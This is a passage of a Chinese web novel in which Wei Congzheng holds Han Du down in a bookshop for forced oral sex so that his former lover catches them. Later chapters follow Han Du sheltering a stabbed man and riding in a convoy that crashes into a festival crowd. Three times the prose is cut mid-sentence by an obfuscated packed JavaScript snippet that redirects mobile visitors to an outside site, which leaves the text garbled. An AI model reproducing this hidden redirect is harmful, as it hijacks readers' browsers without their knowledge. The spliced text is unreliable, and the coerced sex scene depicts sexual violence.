灯光下,魏从峥笑眼含情,意态风流,看得韩渡心中微动,对他说:“我要还你一样东西。”说着,他起身来到写字桌前,从抽屉里拿出一只小铁盒,铁盒里装满了杂物,最上面是一只光泽饱满的流星样式戒指。
魏从峥刚来禹州的那一晚,将这只戒指扔在了酒馆,韩渡那时见了,只当他是酒喝多了,情绪上头,等这阵子过去,这人肯定会后悔,到时候再回去找,恐怕是很难找到了。他不清楚这枚戒指的价值,想来这是魏从峥跟苏郁明的定情信物,总不能纯粹以金钱衡量,丢了就覆水难收,实在可惜。这么想着,韩渡就自作主张捡了回来,打算等合适的时机再还给魏从峥。
只是计划赶不上变化,现在既然他已经跟魏从峥在一起了,这枚戒指最好还是尽快还回去,要怎么处置,就全看魏从峥的意思了。
韩渡将戒指物归原主,魏从峥接过它,看了良久:“我还当它已经丢了,原来在你这儿。”
韩渡把自己当初的想法告诉他,魏从峥听了,将戒指塞回韩渡手里,一把将人搂进怀里,笑道:“你怎么这么替我着想呢?”
韩渡将下巴搁在他肩上,也回手抱住他:“我也有私心。”
“什么私心?”魏从峥的鼻息在韩渡颈间轻拂。
“我怕戒指再也找不回来,从此成为你的心病。”韩渡低声道,“不要在情绪化的时候做重要决定,我希望你能考虑清楚,再决定这只戒指的去留。”
“我考虑得很清楚。”魏从峥却道,“来禹州的路上,我已经想明白了。现在究竟是我放不下他,还是你放不下?”
韩渡正要说话,魏从峥已经捂住他的嘴,笑道:“别说些我不爱听的话,我解释了那么多遍,你从来不信我,看来只有换个方法堵住你的嘴了。”说完,他捏着韩渡下巴,低头吻了下来。
韩渡挣扎了两下,很快就被席卷进这个吻里,再也没心思去想别的事了。
这个吻持续了很久,他们从床边吻到了床上,互相紧拥着对方,谁也舍不得松手。韩渡从来不知道,他有一天会跟另外一个人吻得这么难舍难分,就像两条纠缠不清的蛇,或者是形体相连的畸胎,总之,也许是魏从峥吻得太深,也或许是心里始终萦绕的不安全感,他在这种危险而潮湿的感觉里越陷越深。
38.似是而非
此后几天,两人的感情迅速升温。白天还能像往常一样,一起在书店待着,到了晚上就直奔酒店。几回彼此探索下来,两人懊恼地发现了一件让人尴尬的事:他们撞号了。
作为拜读过原著的人,韩渡本该知道这一点,但是他很长一段时间并没有想过自己会跟魏从峥在一起,于是也没有太放在心上,直到他们躺在同一张床上,两人同时将手探向对方身后时,韩渡才一个激灵,意识到问题所在。
魏从峥抓住韩渡的手,两秒钟后也反应过来了,随即眉头一皱。
像一盆冷水兜头浇下来,韩渡苦笑着从床上坐起来:“今天先到这里吧。”
魏从峥却没有同意。那之后,为了让韩渡点头,他几乎使出了浑身解数。只是这种事,如果韩渡铁了心不配合,他也总不能硬来,接连几次擦枪走火后又无处宣泄,魏从峥的脸色一次黑过一次。
无奈之下,韩渡只好哄着用手帮他,直到后来,手也不再能满足他,他开始尝试用其他方式满足自己。长期处于上位的韩渡被魏从峥要求着做出许多匪夷所思的妥协,种种都令人难以启齿。
【省略400字】
到了这地步,韩渡才察觉自己上了贼船。之前做司机的时候,也没见魏从峥身边有过人,他一度以为是魏从峥需求不高,可这些天所经历的实在是让韩渡难以招架。
这晚,说什么韩渡也不同意再去酒店,一定要回家休息一宿。本以为这样就能消停,可是魏从峥已经放肆到在家都不收敛。
“你控制一点……”韩渡刚说出半句,双唇就被魏从峥衔住,他吻了好一会儿,抬眼笑着对韩渡说:“控制不了。”
“家里隔音不好。”韩渡眸若春水,虽是警告,却没什么威慑力。
魏从峥又低头在韩渡眼皮上亲了亲,声音低哑:“那你明天补偿我。”
韩渡眼神闪了闪,在魏从峥的逼视下,轻轻点头。
魏从峥所说的补偿,就是大白天拉着韩渡在书店里胡闹。
趁着店里没客人,魏从峥将韩渡带到一处书柜夹峙的角落,意有所指地将韩渡往下按。
自从互表心意后,韩渡总是忍不住纵容他,又因为魏从峥把撒泼打滚、撒娇卖乖这套玩得十分熟练,韩渡更是拿他没办法,底线一退再退,这回也是如此。见他眼神露骨,跃跃欲试地看着自己,韩渡不忍心拒绝,便顺从地蹲了下去。
韩渡低下头后,自然就错过了魏从峥眼中不同以往的奇异神情。
韩渡并不擅长做这个,应该说,在遇到魏从峥之前,他也从来没有尝试过这种做法,刚开始还是被魏从峥半强迫的,到了后来,韩渡虽不情愿,却也不舍得让魏从峥扫兴,往往就答应了。只是也许他确实不擅长此道,无论尝试了多少次,总是磕磕绊绊,不仅他很辛苦,魏从峥看样子也并不好受。
只是有一回,魏从峥动作狠了,韩渡猝不及防被他逼出泪来,他却像是得了趣,自那以后索要得更加频繁。
似乎是在故意折磨他,也可能只是魏从峥的本性,韩渡隐约觉得这次漫长地不可思议,他忍着不适的生理反应,几次想要喊停,又被魏从峥按得更深,深得就像要把他从喉咙贯穿,让他由衷开始不安。
正在韩渡倍感煎熬时,忽然有脚步声出现在店里。他立刻伸手拽住魏从峥裤腿,提醒他有客人进来。
可是魏从峥却充耳不闻地继续抓着韩渡的头发,不让他离开,甚至动作更加激烈。
韩渡惊惧地捶他的腿,用力把他往后面推。可是魏从峥浑身肌肉结实,双手像铁钳一样,他卯足了力气也撼动不了半分。
那人好像是听到了这边的动静,脚步先是一顿,然后加快往这边走来,每一步都像是踩在了韩渡的鼓膜上。
恐慌之下,韩渡没有察觉到魏从峥的异常,只以为魏从峥是在跟他玩闹,心里升腾起恼恨,更加用力地推搡,喉咙里发出呜呜的声音,提醒魏从峥及时收手。可是直到那人一声颤栗的惊呼传来,魏从峥依然牢牢禁锢着韩渡,维持着被他跪在地上服务的姿势。
察觉到第三个人的目光,韩渡头脑瞬间一白,仿佛失去了所有力气。
这时,魏从峥终于在他口中发泄完,慢条斯理地松开他,整理好自己的衣服。
【省略】
“你,你们——”来人捂嘴颤呼,眼泪刷地溢出眼眶,不是苏郁明还能是谁?
韩渡倏地抬头,同样不敢置信地看着苏郁明,苏郁明怎么会在这里?
在场唯一能保持镇定的恐怕只有魏从峥。他甚至颇有闲心地唇边挂着笑,伸手将地上的韩渡扶了起来,温柔地抚去韩渡嘴角的水渍。
韩渡愣愣地被他摆弄,就在与他对视的那一刻,忽然情绪激动地拍开他的手,往后退了两步。
“魏从峥,”苏郁明泪眼婆娑地看着他,“我要听你解释。”
魏从峥从韩渡脸上收回目光,缓缓看向苏郁明:“我还以为你会转身就走。”他语气极为玩
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13993054|147083||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
世不恭,似乎眼前发生的事在他看来微不足道,“你都看到了,有什么好解释的?”
他这样的态度彻底激怒了苏郁明。苏郁明眼中悲愤交加,冲上来就要给他一巴掌,却被他轻易扣下了,此举也让他们紧紧靠在了一起,看上去就像在小打小闹的一对情侣。
“你闹什么?难道你很委屈吗?”
“你对不起我,你混蛋!”苏郁明哭叫着软倒在魏从峥怀里,一边捶打他,一边还紧紧揪着他的衣服。
而魏从峥就这样任由他在自己身上发泄怒火,嘴角轻浮的笑意渐退,换上了郑重而包容的表情。这样的表情,韩渡还是第一次在他脸上看到。
一瞬间,韩渡产生了极大的割裂感。
他觉得自己就像个局外人,在被魏从峥扶起来后,一退再退,仿佛一下被打回了原来的位置。
为什么刚刚魏从峥那么反常,不顾他挣扎也要死死按住他?为什么远在燕城的苏郁明会始料未及地出现在禹州,还直接找到了这里?其中的逻辑甚至不需要韩渡去深想,他哪还有什么不明白的。
韩渡感觉脑袋里嗡嗡的,他忽然很想笑,只是一下子牵动了嘴角的裂口,顿时就笑不出来了。
他向魏从峥望去,魏从峥正搂着苏郁明,嘴唇轻柔地贴在对方额头,似乎在说些什么,一只手则轻轻在苏郁明背后拍抚,那样如珠似宝的动作,与刚刚对待他的粗蛮判若两人。
都是骗局。
也许早在魏从峥来禹州的路上,在他们喝酒的那个晚上,对方就计划好了这一切,只等着他配合表演。说什么在追他,都是笑话。更可笑的是他自己,居然会因为魏从峥几句似是而非的话,就全忘了这人对苏郁明的用心,忘了自己的位置,愚蠢轻率地沦陷在对方带来的欲海里。
不知不觉中,他居然还是成了两个主角感情的踏脚石。
似乎是察觉到韩渡的目光,魏从峥忽而抬眼看过来。韩渡说不清那一眼里含有什么样的情绪,也许有歉意,也许没有,但他看不到爱意,看不到以往熟悉的戏笑,只有仿佛看陌生人的冷淡和平静。
一想到几分钟之前,自己还像个劣质玩具一样被这个人肆意摆弄,韩渡一阵脊背发寒,五脏六腑仿佛都绞在了一起,胃里的酸水直冲眼眶。他狼狈地将抖个不停的双手藏在身后,强忍下所有情绪。他没办法像苏郁明那样任性地发泄哀怒,只是至少,他需要一个交代。
“这就是你的决定?”韩渡听到自己这么问他。
39.醉汉与伤员
魏从峥就这样离开了禹州。
那天,被苏郁明撞破书店里的不堪后,韩渡明明已经预料到结果,却还是忍不住想要魏从峥亲口给一个答案。只是他话音未落,苏郁明已经从魏从峥怀里挣脱了出来,抹着眼泪冲出了书店。
魏从峥看了韩渡一眼,只留下一句“我会给你补偿”就追了出去,自那以后再没回来过。
只有书店门口停着的那辆银蓝色跑车,证明他曾经在这里待过。
这辆被抛下的车已经在路边停了有一周,薄雪积了化,融化后又积了浅浅一层。韩渡后来拨打交警电话,让人给拖走了。
魏从峥已经用不辞而别给了他最好的答案。
那之后,韩渡不知道自己是怎么在书店里站了一天,又是怎么走出来的,他的记忆就像发生了断档,但只要一闭上眼睛,眼前就会浮现魏从峥最后漠然的眼神,接着胃里一阵翻涌,压得他喘不过气。
韩渡哪里会想到,自己也有经历断崖式分手的一天,还分得这么狼狈,全无尊严可言,就连曾经那些美好的瞬间,现在回想起来都变成得面目全非。
没有排解的途径,这些杂乱无章的情绪最后都被韩渡以一种几近麻木的方式慢慢消化掉。
原本说好的年后回燕城继续工作,被韩渡无限期搁置,魏从峥也意料之中的没有来信催促。
这天,家里收到一封邮件,拆开后是一份面试通知。
“是飞天歌舞团的面试邀请函。”韩母拆开信件,看完后惊喜地对韩渡说。
韩渡的视线在邀请函上停留了片刻,他回过神,勉强笑道:“快把这个好消息告诉小卉。”
飞天歌舞团是韩卉出事前的梦想,事到如今,他也不知道这张邀请函对韩卉的份量还有多少。如果他没猜错,这东西应该是魏从峥的手笔。
已经消失近半个月的人,突然以这样的方式再次出现在韩渡的生活里,韩渡的第一反应是退回这封邮件。只是他看着韩母激动不已的模样,没忍心把这话说出来。继而想到,不能因为一些私人恩怨就放弃一次对韩卉来说可能十分重要的机会,魏从峥将这东西寄过来,或许就是他所说的“补偿”。
收下这封邀请函,他们之间大概就两清了。
不,还差一样东西。
当天,韩渡将那只被魏从峥落下的流星戒指寄回了燕城。快递员来取件时,见只有孤零零的一枚戒指,随手从口袋里的便签本上撕下一张:“不写点什么?”
韩渡看着塞进手里的便签,想了想,借了快递员的笔写下两行字:补偿已收到。戒指物归原主,祝你跟苏先生白首同心。
戒指寄出后没多久,杨冰组织的同学聚会如期而至。杨冰千叮咛万嘱咐,让韩渡一定要到场参加,大家许多年没见,都对他现在的情况很好奇。韩渡正好也存了点散心的想法,便欣然赴约。
聚会那天,邢师恒果然没来参加,在场的除了杨冰,韩渡一个也不认识。他凭借好记性留意下每个人的名字和身份,对敬到面前的酒来者不拒,既是为了让大家尽兴,也是借酒浇愁。
散场后,他跟杨冰一起将这些同学一一送走,最后,杨冰要给他打车。
“不用了,这里离我家很近,我先送你回去。”韩渡拦下一辆经过的出租车,打开车门,把同样喝得半醉的杨冰扶上了车。
许多年后,韩渡无意间回想起这个场景,悲怆之际忍不住心想,如果这时候他听了杨冰的话,坐车先走,是不是很多事就会不一样。但是也有命运这一说,若是两个人之间的缘分足够深,即便错过了一次、两次、三次,也总还有第四次机会等在前面的路上。有些人、有些事是注定绕不开的。
目送出租车走远,一地喧嚣终于回归寂静。有股寒风打着卷吹过,韩渡紧了紧身上的外套,低头往回家的方向走。
他今晚喝的实在是有点多了,他也记不清喝了多少酒下去,只是中间去了两次卫生间,快结束的时候,他一阵晕头转向,迷迷瞪瞪靠在椅背上睡了一会,等他再被人摇醒,大家已经纷纷收拾东西准备散场了。
冷月高悬,城市街道上的人烟逐渐稀薄,正是冰雪消融的时候,韩渡一脚一个水洼,踩碎了一片片月影。
忽然,他隐约听见有人喊他的名字。起初还以为是自己喝多了,耳朵出了问题。
“韩渡、韩渡。”一声急过一声,呼喊的人刻意压低了嗓音,韩渡停下脚步,目光在四下搜寻。
“这边,你右手边。”那人又道。
韩渡甩了甩脑袋,仔细看过去,只见在他身侧不远处,影影绰绰站着两个人,其中一个正是好久没见的邢师恒。原本以为他会出现在同学聚会上,既然没来参加,为什么又会出现在这附近?
邢师恒拢手放在嘴边,朝韩渡呼唤,对上眼后,激动地向他招手。
韩渡迈着醉步走到他面前:“邢、邢师恒,你躲在巷子里干什么?”
“你喝多了?”邢师恒焦急道。
这么冷的天气,韩渡却在对方额头看到了汗珠,不禁稀罕:“你出汗了?”
“别管我了,我有要紧的事拜托你。”邢师恒陡然抓住韩渡的手,那手心比额头更湿,“我们被人追捕,二公子受伤了,我要去引开他们,二公子请你务必照看好。”
韩渡被酒精灌满的脑袋一时转不了那么快。
邢师恒一跺脚,把韩渡往他身后那人身边推:“这里距离你家书店近,你先带二公子去躲躲。”
韩渡被他这么一推,重心一歪,扑倒在沈照身上。一声闷哼从沈照口中发出,沈照惨白着脸,捂着腰侧,声音冷地能掉出渣:“你找一个醉鬼来,是让他照顾我,还是让我照顾他?”
邢师恒脸色一紫,出手把韩渡扶起来:“兄弟,人命关天的事,你撑一撑。”说完,他朝沈照抱拳,“二公子,事急从权,请你先跟着他避避风头,等我消息。”
韩渡确实有些醉了,但也不是什么话都听不进去,在邢师恒扶起他后,就明白了眼下的情况。他望向对方,看见邢师恒眼里的凝重,于是不再多说,侧头向沈照看去。只见沈照腰侧漫出一大片血迹,不由心中一凛,当即扶过去:“还能走吗?”
沈照点头:“请带路吧。”
于是,韩渡带着沈照往书店急急赶去,邢师恒则转身去往了另一个方向。
一路上,沈照跟在韩渡身后,没有发出半点声音。大约十分钟后,二人抵达书店,韩渡将门
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14001512|147083||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
锁打开,放他进去,自己随后迈进书店,转身将门从里面反锁上。他正要开灯,被沈照出言制止。
“别开灯。”他道,说完就开始咳嗽。
韩渡放在开关上的手慢慢收回,伸手不见五指的环境里,他看不见沈照的模样,只好望着虚空询问道:“你怎么样?血止住了吗?”
沈照的声音从黑暗中传来,听起来极为虚弱:“有包扎的东西吗?”
“我给你找找。”说着,韩渡打开手机,借着手机屏幕的光看清楚店里布置,他先是寻找沈照的位置,看了一圈,最后在两架书柜中间的地上找到了人,这一看,他不禁眉头紧皱:“你看起来很不好,我送你去医院吧。”
沈照跌坐在地上,捂着腰侧,胸口微弱地起伏。他抬起头,唇色白得发紫:“不能去医院。”
“为什么?医院有保安,还有医生护士,他们应该不敢乱来。”
“现在不能去,等天亮。”从沈照这个角度,只能看到韩渡隐没在微弱光线后的面部轮廓,他疲惫地闭上眼,“如果找不到包扎的绷带,就拿毛巾、衣服,都可以。”
韩渡应了一声,在书店里搜寻起来。
“找到了!”好在他虽然醉酒,脚步腾挪不爽利,但运气还不错,很快就在储物间里找到干净毛巾。韩渡怕一条不够,直接把整包拿了过来,等他欣喜地赶到沈照身边,却发现这人已经闭上眼,失去了意识,原本捂在伤口上的手也垂在了地上,看上去已经没了生机。
韩渡心脏漏跳了一拍,吓得连最后的那点醉意也消失不见了。
他蹲下去,将手放在沈照鼻下。好半晌,韩渡长出一口气,幸好幸好,这人还有呼吸。
情势刻不容缓,他当即拿起毛巾,帮沈照包扎止血。
小心地掀开他衣角,一条十厘米长左右的刀口出现在韩渡眼前,刀口皮开肉绽、血肉模糊,到这时还有源源不断的血液渗出,看得人胆寒。
韩渡望了眼在昏迷中依然皱着眉毛的沈照,一咬牙,开始处理伤口。
处理的过程中,兴许是他不小心用的力气大了,沈照呻吟一声,缓缓睁开眼睛。
韩渡见他醒了,忙凑过去:“你看看这样处理可以吗?”
沈照没有去看伤口,而是艰难地抬起手,握住了韩渡的手臂。那力气又十分的小,韩渡只要稍微一动就能把他甩开。韩渡当然不会那样对待伤员,而是将自己的手覆盖在他手背上,把自己的温度传递给因为失血而体温急速下降的沈照。
沈照的手指动了动,目不转睛地看着韩渡,嘴唇轻启,似乎要说什么话。韩渡立刻凑得更近些,想听清楚他的话,只是还没听清,这人又闭上眼,体力不支地昏睡了过去。
韩渡将他的手放回身边,把自己身上的外套脱下来盖在他身上,随后又在他身下垫了一些东西,防止地面湿冷影响他伤势。
冬夜里,没有空调暖气的室内一片森寒,韩渡穿着单薄内衣,在黑暗里冻得瑟瑟发抖,却没想过把自己的外套收回来,显然地上的伤号比他更需要。到了后半夜,他寒困交加,不得不强撑着在书店里简单挥动四肢。更糟糕的是,他发现沈照的状态也越来越差,居然发起了高烧,额头一片滚烫。
40.坦言相告
韩渡在焦灼中度过了一整夜,眼看天光渐亮,他赶忙打车,背上沈照直奔附近的医院。
到了医院又是好一番折腾,终于把沈照送进急救室,他疲倦地在走道椅子上休息了会儿,再睁开眼,沈照的伤情已经控制住,昏迷着被医护人员推了出来。
韩渡提了一夜的心终于放下,紧接着,他一连打了两个喷嚏,郁闷地发现自己感冒了。趁着沈照还没醒,他挂号开了点药,简单把药吃了,随后就在陪护床上沉沉睡了过去。
再一次睁开眼,已经日上中天,病房里静悄悄的。他一抬头,发现沈照已经醒了,正安静地看着自己,不知道已经醒了多久。
韩渡揉了揉眼睛:“你渴吗,我去给你倒杯水。”
他找隔壁病房的人借了两只一次性纸杯,跑供水间接了两杯,端到沈照手里。沈照道了声谢,一口一口喝得极斯文。韩渡见他病容憔悴,看着更像个半大的孩子了,不由问道:“二公子,你今年多大了?”
沈照的声音听着比昨晚精神了一些,他没急着回答韩渡的问题,而是说道:“谢谢,你救了我一命。”
韩渡笑道:“换作任何人,都不会见死不救的。好在虚惊一场,你没事就好。”
“是我给你添麻烦了。”沈照道,“不用叫我二公子,直接喊我本名吧。”
“好,沈照。”韩渡本也不习惯这个称呼,不过听邢师恒这么叫,就不自觉学了过来,此时改口也非常顺畅,“我记得你身手很厉害,这次是谁伤的你?为什么昨晚连医院也不能来?”
“说来话长。”沈照本不愿意多说,却在与韩渡对视之后,不觉说了下去,“那天,虽然借了钟睿的名义,但是纸包不住火,他们很快就找上了我。孙岩超是我大哥沈羁的人,”沈照露出一抹不屑的笑。“我那好大哥,本来就想弄走我,这下更好,有了送上门的理由。于是,我就被驱逐到了这里。”
韩渡意外听了一出兄弟阋墙的故事,念及他身上的伤,问道:“刺伤你的人难道就是他?”
沈照笑了笑,没说是,也没说不是。
“邢师恒是跟着你来的?”韩渡又问道。
“算是吧。”
“难怪他那么护着你。”韩渡低喃,“你看着年龄也不大,你爸妈呢?他们也不管你?”
“我二十三了。”沈照似乎不同意韩渡对他年龄小的说法,强调了一下,然后道,“你不是跟在魏从峥身边吗?他没跟你提起过沈家?”
二十三,也太小了,还是读书的年纪。韩渡默默想着,不防又听到了那个人的名字,颇感复杂,回他说:“我只是他的司机,现在应该也谈不上了。”
沈照敏锐地察觉到其中有故事,不过他无意追问,而是简单回答了韩渡之前的问题:“我命中亲缘淡薄,跟父母关系都不亲近。”
韩渡这才想起他私生子的身份,想来昨晚如果不是自己搭了把手,很可能沈照就要折在禹州了,如今住院半天,竟然连一通打来的问候电话都没有。
这么想着,韩渡为他掖紧被子,温声道:“也好,有些父母,没有反比有的好。我虚长你几岁,你如果不介意,以后可以把我当作你哥,我虽然身手不如你,关键时候也能照顾一二。”
沈照似有些诧异他会这么说,沉默良久,说道:“你救了我一命,有什么需要我做的?”
“我能有什么需要?”韩渡笑道,“你好好养伤,不要多想,我既然受了邢师恒嘱托,就会尽力照顾好你。好了,我去打饭,你先休息一下。”
正午的阳光从窗户照射进来,冲散了些许沈照身上的阴郁,只是他始终情绪很淡,病恹恹的,也看不出什么劫后余生的喜悦。
韩渡将饭带回来的时候,一边吃着一边心想,这样的病人还是挺省事的,毕竟他最近的情绪消耗也有点大,正在竭力自愈,如果对方是闹腾的性格,他多少也会很头疼。只是这样一来,更显得沈照早熟懂事了,出于怜恤心理,韩渡照顾得也就更用心了些。
沈照这小孩,还真是爹不疼妈不爱,直到几天后他们出院,中间也没有一个人来探过病,邢师恒那边更是彻底失联了。
怕他一个人在医院出问题,韩渡这些天都没去店里,还得跟家里解释清楚原因。现如今,韩父韩母都知道他有一个外地朋友在禹州生病住院,需要他这个唯一的朋友去陪护。
此前,二老对魏从峥的不辞而别虽感意外,却没多说什么,只是现如今又来一个朋友,他们好几次想跟着来医院看看,都被韩渡劝了回去。
出院这天,沈照已经能自己下地走路。为防万一,韩渡坚持买了一只轮椅,推着他走出医院。
“那些追杀你的人,现在还在吗?”韩渡后知后觉地问道。
沈照轻声笑了笑,这几天他脸上的笑容多了一些。“还在。”他言简意赅。
韩渡出院的脚步一顿:“不然我们回去再住几天?”
“送我回酒店吧。”沈照摇头。
沈照在禹州没有固定住所,目前在一家安保较好的五星级酒店落脚。也许是保洁每天进来打扫的缘故,这么多天没人回来,房间里依然整洁干净。韩渡推着沈照在房间里转了一圈:“你来禹州多久了?一直住在这里吗?”
“半个月左右。”沈照回答,请韩渡在沙发上休息一下,自己扶着轮椅站起来,“沈家不养闲人,这次我被发配到禹州,也有任务在身,住酒店比较方便。”
“什么任务?”韩渡起身要去搀扶,被沈照抬手阻止。
“接手这边的产业。”
哪怕沈照说的轻描淡写,韩渡却已经从这句话里听出了点问题。让一个年仅二十三岁、根基尚浅的年轻人接手整个禹州的产业,这不像是荫萌家族子弟,更像是把他往火坑里推。
韩渡忽然想到:“你这次受伤,到底是你哥的手笔还是这里的人做的?”
“有什么区别吗?”一抹厉色浮现在沈照脸上,“都是敌人。”
“那些产业,不要也不成吗?”
“要,怎么能不要。”沈照看向韩渡,“事到如今,已经没有退路。沈羁早晚想除掉我,只有在这里站稳脚跟,我才能光明正大回到燕城。”
“为什么要跟我说这些?”韩渡恍然意识到,以他现在跟沈照的关系,说这些显然是交浅言深了。
“渡哥。”沈照忽然唤了这么一声,韩渡先是一愣,很快意识到他是在
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14014560|147083||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
称呼自己。
“谢谢你的善意,我能感受到。不过我身上是非太多,说不定哪天就死了,我不想连累你。你请回吧,咱们以后就当不认识。”
韩渡望着他,明白他说的有道理,但说出口的却是另一番话:“你在禹州举目无亲,现在还有伤在身,邢师恒又下落不明,我不可能丢下你不管。”
沈照“感动”地看过来,面色微微泛红。
“你既然喊我一声哥,我就当认了你这个弟弟。”说这句话时,高薇曾经对沈照的评价再次浮上韩渡心头,只是又想到沈照受伤这段日子,一直表现得人畜无害,甚至很有些孤苦可怜,便觉得人都有两面,不能因为其中一面不够好就彻底否定他整个人。
酒店安顿好沈照后,韩渡回了趟家。
到家却发现家里只有父亲在,父亲正站在窗边俯视楼下,见他回来了也没走开。
韩渡换下鞋,也来到窗边,沿着他的视线往下看,疑惑道:“她们在楼下做什么?”
韩父露出欣慰的笑,下巴上没剃干净的胡茬筛糠似的抖动:“你妈带着小卉练习跳舞呢。”
韩渡诧异地观察韩卉的动作,确实是在跳舞没错:“她看到那张邀请函了?”
韩父点头,眼中像是有泪光闪烁:“就算生病了,小卉还是放不下她的梦想。”
韩渡也不禁动容,他陪着韩父在窗台边看了很久。他知道,是时候再去找何安一趟了。
燕城。
绒花一样的雪片从天空缓缓飘落,落在平静的池面上,无声无息地溶进了水里。
苏郁明披上外套,推开后院的全景式玻璃门,走到池边的魏从峥身旁:“这么冷的天,你已经在这里站很久了。”
魏从峥回头看他,视线落在他手上。
“看什么?”苏郁明举起自己的手,前后翻了翻掌。
魏从峥握住他的手,拇指按在那枚流星戒指上:“你还戴着。”
苏郁明脸一红,要把自己的手收回来,却被魏从峥抓着不放:“这么重要的东西,肯定会戴的。”
“你的粉丝们没乱猜?”
“他们早就在猜我们的关系。”苏郁明说着,往魏从峥手上看去,却见那里空荡荡的,他不禁一呆。
魏从峥见他表情失落,轻轻勾了勾唇角,将自己另一只手伸出来。在那手心里,正躺着属于他的那枚流星戒指。
苏郁明转忧为喜,仰头看他:“怎么摘下来了?我还以为你不愿意再戴了。”
“这戒指当时做的匆忙,尺寸不合适,就摘下来了,想过阵子找人重新做。”
“啊?不合适吗?”苏郁明凝眉,从他手中拿起戒指,对准他手指缓缓套进去。戒指与手指完美贴合,严丝合缝,刚刚好的尺寸。“你骗我。”苏郁明低嗔道。
魏从峥笑着捏捏他脸颊:“骗不了你,还是你聪明。”
苏郁明得意地扬了扬头,偶然一瞥间,看到魏从峥手里还有一张纸条,刚刚他全副心神都在戒指上,居然没注意到戒指下压着的这张纸。
“这是什么?”苏郁明要去拿那张叠成方形的纸条,魏从峥却收回了手,道:“没什么。你先回屋吧,外面冷。”
41.援救邢师恒
这些天,办理出国手续成了韩渡每天最要紧的事,此外,因为担心沈照行动不方便,他时不时会送点生活用品去酒店。
除了这两样事情,其余时间,韩渡都是在书店待着。因为最近韩卉的状况有所好转,韩父韩母隐约看到了希望,不仅陪着她练舞,还格外积极地带她去医院看诊,这么一来,看店的任务就继续落在韩渡身上。
客人多的时候还好,一旦清闲下来,韩渡站在空荡荡的书店里,仿佛一个不经意间,就能在不远处看见那个人的身影。好在这种症状正在随着时间推移而慢慢退散。
这天晚上八点多,韩渡结束了一天的工作,回家路上看见一个水果摊,临时起意,买了一些水果去酒店探望沈照。
刚靠近酒店,好巧不巧,他撞见沈照被一群人拥着走出来。
那是群打扮十分“非主流”的年轻人,衣服五颜六色,身材高矮胖瘦不一,头发各有长短,有的表情嘻嘻哈哈,有的一副凶相,走路姿势也千奇百怪。而沈照身量极高,长相突出,还一副正经人的冷淡模样,混在里面显得十分扎眼。
沈照怎么会跟这些人走在一起?
韩渡注意到,这些人虽然没个正形,却都不敢太靠近沈照,甚至隐隐以沈照为中心,形成了亲疏分明的内外两圈。
韩渡感到稀奇,正考虑要不要改天再来拜访,已经被沈照眼尖地发现了。
沈照穿过人群,走到韩渡面前:“渡哥,你怎么来了?”
韩渡看了看他身后那群人,将水果袋提到面前:“我下班看这橙子卖相好,就给你带了点。”
“谢谢渡哥,还是你对我好。”沈照微笑着接过橙子,“来之前怎么不提前说一声?”
“顺路就过来了。没事,我这就走,你继续忙你的事。”韩渡这就要告辞。
“你不好奇我们要去哪里?”沈照却主动提道。
韩渡确实有些好奇,于是问他:“这些人都是你朋友?”
“朋友?”沈照眸光如幽火,提了提唇角,“这么说也没错,我正要跟我的朋友们去办点事。”
韩渡担心道:“你伤还没好,这是要去办什么事?”而且同伴是那样一群人,总感觉不是去做什么好事。
“你要一起来吗?”沈照忽然发出了邀约。
“你们去办事,多我一个外人不好吧。”
“我们要去救邢师恒。”沈照道,“你不是外人。”
一听是这样的大事,韩渡当即不再迟疑:“好,带上我吧。”
这些人似乎是专门玩机车改装的,每个人的代步工具都被改造得像科幻影片里的缝合怪,有的前后左右挂着极为夸张的探照灯,有的一发动起来,隆隆声能传出三条街。韩渡跟沈照搭乘同一辆越野车,车的底盘很高,头顶却被改装成了镂空款式,车身上还用喷漆留下了十分抽象的涂鸦,内部装置朋克感十足,韩渡看得暗暗称奇。
越野车一马当先,后面跟着三四辆改装过的轿车和近十台摩托,如狂风过境般碾过禹州的几条主干道。
韩渡注意到,随着车队不断前进,中间陆续有其他车辆加入了进来,这支队伍甚至还在持续扩张。
声势如此浩大,却一路畅通无阻,韩渡渐渐察觉出了事情的不简单。
大约晚上九点多,临近十点的样子,车队集结完毕,有人站在车上吆喝呼号,顿时引来一波又一波附和。而作为组织者的沈照,似乎无意阻止这种混乱,而是长摁喇叭,鼓足了士气,随后将油门直踩到底。
韩渡猛地靠在了椅背上,两眼睁大望着前方的路况,只见这支车队一路驶向禹州的某一草坪广场,那里正举办着小型音乐节,约莫百来号人正在草坪上狂欢。车队如入无人之境,直接冲破围栏,冲进了人群。
